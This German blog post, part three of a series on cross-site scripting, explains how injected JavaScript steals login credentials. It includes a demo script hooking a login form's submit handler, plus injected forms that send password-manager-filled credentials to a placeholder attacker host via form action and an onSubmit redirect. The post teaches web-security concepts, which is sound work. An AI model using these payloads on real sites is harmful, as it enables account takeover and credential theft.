Skip to content

XSS-Angriffe, Teil 3: Zugangsdaten ausspähen

Nach dem Einschleusen von Informationen in den Browser und dem Ausspähen von Cookies und Tastendrücken geht es in dieser Folge um das ...

Ausspähen von Zugangsdaten

Über Cross-Site Scripting lassen sich nicht nur Session-Cookies ausspähen, über die dann eine laufende Sitzung des Opfers übernommen werden kann, sondern auch Zugangsdaten. Und mit denen kann der Angreifer dann jederzeit die Kontrolle über das Benutzerkonto seines Opfers übernehmen.

Ziel des Angriffs soll folgendes einfache Login-Formular sein, dass ich auch hier auf meiner statischen Website abgelegt habe. Dort können Sie den Angriff auch gleich testen.

<form name="login" method="get" action="#">
   Benutzername: <input name="username" type="text"><br>
   Passwort:     <input name="password" type="password"><br>
   <input value="Login" type="submit">
</form>

Dieses Formular macht nichts weiter, als Benutzername und Passwort an sich selbst zu schicken. Sie erscheinen dann als Parameter username und password in der Adresszeile des Browsers.

Diese Daten wollen wir jetzt mit einem XSS-Angriff ausspähen. Dazu kann folgender JavaScript-Code verwendet werden:

<script>
function ausspaehen() {
    alert('Ihre Zugangsdaten: \n 
             Benutzername: ' + das_login.document.forms[0].username.value +'\n 
             Passwort: ' + das_login.document.forms[0].password.value);
}

function oeffne_login() {
    das_login = window.open("http://www.ceilers-it.de/demos/demo-login.shtml");
    das_login.onload = function() {
       das_login.document.forms[0].onsubmit = ausspaehen;
    } 
}
</script>

<p>
<b><a href="#" onclick="oeffne_login();">Attacke!</a></b>
</p>

Dieser Code muss auf dem angegriffenen Webserver gespeichert werden. Nun enthält meine statische Website natürlich keine XSS-Schwachstelle, aber ich habe dort einfach eine Seite mit dem Angriff gespeichert.

Wenn Sie auf dieser Seite Attacke! klicken, wird die Login-Seite geöffnet. Und zwar die echte Seite, wie sie am Link in der URL-Zeile erkennen können. Zusätzlich läuft im gleichen Fenster aber auch der eingeschleuste JavaScript-Code des Angreifers. Der gibt nach dem Einloggen die eingegebenen Zugangsdaten in einer Alertbox aus. Ein echter Angreifer würde die Zugangsdaten natürlich an seinen Server schicken.

Das Ganze funktioniert folgendermaßen:

Der Klick auf Attacke! startet den JavaScript-Code der Funktion oeffne_login(). Der öffnet die Demo-Login-Seite in einem neuen Fenster. Da diese Seite vom selben Server wie der JavaScript-Code stammt, darf der die Seite nach Belieben manipulieren, ohne gegen die Same-Origin Policy zu verstoßen. Das wird ausgenutzt, um das Login-Formular um die Funktion ausspaehen() zu erweitern. Und die macht nichts weiter, als beim normalen Einloggen, also dem Klick auf den Submit-Button, zusätzlich Benutzername und Passwort in der Alertbox auszugeben.

Die einzige Voraussetzung für den Angriff ist, dass der XSS-Code auf dem gleichen Server wie die angegriffene Login-Seite gespeichert ist. Der auf dieser Seite gespeicherte Code hat keinen Zugriff auf die Zugangsdaten, wie Sie hier testen können:

Angriff ins Leere!

Der Angriff kann natürlich auch automatisch gestartet werden, sobald ein Benutzer die Seite mit dem XSS-Code aufruft. Der Schadcode könnte den Benutzer auch selbst ausloggen, eine passende Info anzeigen wie zum Beispiel "Ihre Sitzung ist abgelaufen, bitte loggen Sie sich neu ein!" und dadurch das Einloggen des Benutzers provozieren. Denn warum sollte der sich einloggen, nur weil sich die Login-Seite öffnet?

Passwörter aus Passwortmanagern ausspähen

Um Passwörter aus Passwortmanagern wie zum Beispiel dem Password-Safe von Firefox oder dem Schlüsselring von Mac OS X auszuspähen, muss der obige Angriff nur etwas angepasst werden, so dass das automatisch vom Passwortmanager ausgefüllte Passwort automatisch abgeschickt wird. Dann kommt der Angriff ganz ohne Benutzerinteraktion aus.

Der Angreifer kann auch die manchmal unzureichende Intelligenz solcher Programme ausnutzen: Sie füllen auf einer Webseite gefundenen Formularfelder mit den zum jeweiligen Server passenden Werten aus. Mitunter auch dann, wenn diese Daten dann an einen anderen Server gesendet werden. Da es sich dabei um Schwachstellen in den jeweiligen Passwortmanagern handelt, die früher oder später behoben werden, funktionieren entsprechende Angriffe immer nur für bestimmte Passwortmanager und/oder Versionen. Im folgenden beschreibe ich daher nur das allgemeine Prinzip dieses Angriffs.

Als Beispiel soll die Webanwendung http://www.beispiel.example/anwendung.html dienen, die ein Formular für die Anmeldung mit Benutzername und Passwort enthält:

<form name="login" method="post" action="http://www.beispiel.example/login.php">
   Benutzername: <input name="username" type="text"><br>
   Passwort:     <input name="password" type="password"><br>
   <br>
   <input value="Einloggen" type="submit">
</form>

Der Passwortmanager erkennt die Seite http://www.beispiel.example/anwendung.html und füllt die Formularfelder mit den passenden Werten aus. Das gleiche passiert auch, wenn ein Angreifer folgendes Formular in die Seite einschleusen würde:

<form name="angriff" method="post" 
      action="http://www.angreifer.example/passwort-sammler.php">
   <input name="username" type="hidden">
   <input name="password" type="hidden">
</form>

Der Angreifer muss die Daten dann nur noch abschicken:

<script>document.angriff.submit()</script>

Wertet der Passwortmanager außer dem Domainnamen und den Formularfeldern auch den action-Parameter aus, würde er das falsche Ziel für die Daten erkennen. Aber auch das kann umgangen werden, indem das Umleiten der Zugangsdaten in einem onSubmit-Aufruf versteckt wird:

<form name="angriff" method="post" 
      action="http://www.beispiel.example/login.php"
      onSubmit="document.location.replace(
         'http://www.angreifer.example/passwort-sammler.php?name='
         +document.angriff.username.value
         +'&password='
         +document.angriff.password.value)";>

   <input name="username" type="hidden">
   <input name="password" type="hidden">
</form>

Und das ist keine theoretische Gefahr - schon 2006 wurden Phishing-Angriffe gemeldet, die eine Schwachstelle in Firefox ausnutzten, um Passwörter aus dessen Password-Safe auszuspähen. Der Benutzer muss das Formular noch selbst abschicken, es wäre aber problemlos möglich gewesen, das zu automatisieren. Und notfalls wäre der Angriff sogar ohne JavaScript ausgekommen, CSS erfüllt den gleichen Zweck.

Damit soll es auch genug sein mit dem Ausspähen im Browser. In der nächsten Folge werfen wir noch kurz einen Blick aus History Sniffing, und dann dringen wir aus dem Browser heraus ins lokale Netz vor.

Carsten Eilers


Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS
Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS
Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy
Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy
Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS
Cross-Site Scripting im Überblick, Teil 5: Resident XSS
XSS-Angriffe, Teil 1: Informationen einschleusen
XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen
XSS-Angriffe, Teil 3: Zugangsdaten ausspähen
XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!
XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN
XSS-Angriffe, Teil 6: Ein verbesserter Portscanner
XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen
XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests
XSS-Angriffe, Teil 9: Der Router im Visier
XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router
XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router
XSS-Angriffe, Teil 12: Browser-basierte Botnets
XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe
XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF

Trackbacks

Dipl.-Inform. Carsten Eilers am : Die IoT Top 10, #1: Unsichere Weboberflächen, Teil 5

Vorschau anzeigen
Die Beschreibung der gefährlichsten Schwachstellen in den Geräten des IoT geht weiter. In der Liste der Top IoT Vulnerabilities von OWASP sind wir immer noch bei Platz 1, dem &quot;Insecure Web Interface&quot;. Aber wenigstens sind wir beim zweiten